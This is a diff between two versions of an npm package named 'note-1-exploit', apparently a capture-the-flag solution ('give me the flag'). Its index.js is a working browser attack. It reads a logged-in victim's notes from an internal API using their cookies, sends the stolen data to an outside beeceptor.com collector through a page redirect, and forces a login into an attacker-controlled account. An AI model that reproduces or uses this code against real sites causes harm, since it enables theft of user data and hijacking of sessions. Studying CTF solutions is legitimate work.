note-1-exploit 1.0.16 → 1.0.17

package/index.js

@@ -1,30 +1,31 @@
 async function exploit() {
-    let all_results = await fetch("http://127.0.0.1:10082/api/notes/all", {
+    let all_results = await fetch("http://web/api/notes/all", {
         "method": "GET",
         "mode": "cors",
         "credentials": "include"
-    }).then(res => res);
-    let json_results = await all_results.json();
+    }).then(res => res.text());
+    // let json_results = await all_results.json();
     let note_name = (Math.random() + 1).toString(36).substring(7);
-    window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + json_results[0].id)
-    await fetch("http://127.0.0.1:10082/login", {
+    window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + all_results)
+    // window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + json_results[0].id)
+    await fetch("http://web/login", {
         "body": "username=nnnddd&password=nnnddd",
         "method": "POST",
         "redirect": "follow",
         "credentials": "include"
     });
-    await fetch("http://127.0.0.1:10082/login", {
+    await fetch("http://web/login", {
         "body": "username=nnnddd&password=nnnddd",
         "method": "POST",
         "mode": "cors",
         "redirect": "follow",
         "credentials": "include"
     });
-    await fetch("http://127.0.0.1:10082/api/notes", {
-        "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
-        "method": "POST",
-        "mode": "cors",
-        "redirect": "follow",
-        "credentials": "include"
-    });
+    // await fetch("http://web/api/notes", {
+    //     "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
+    //     "method": "POST",
+    //     "mode": "cors",
+    //     "redirect": "follow",
+    //     "credentials": "include"
+    // });
 };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "note-1-exploit",
-  "version": "1.0.16",
+  "version": "1.0.17",
   "description": "give me the flag",
   "main": "index.js",
   "scripts": {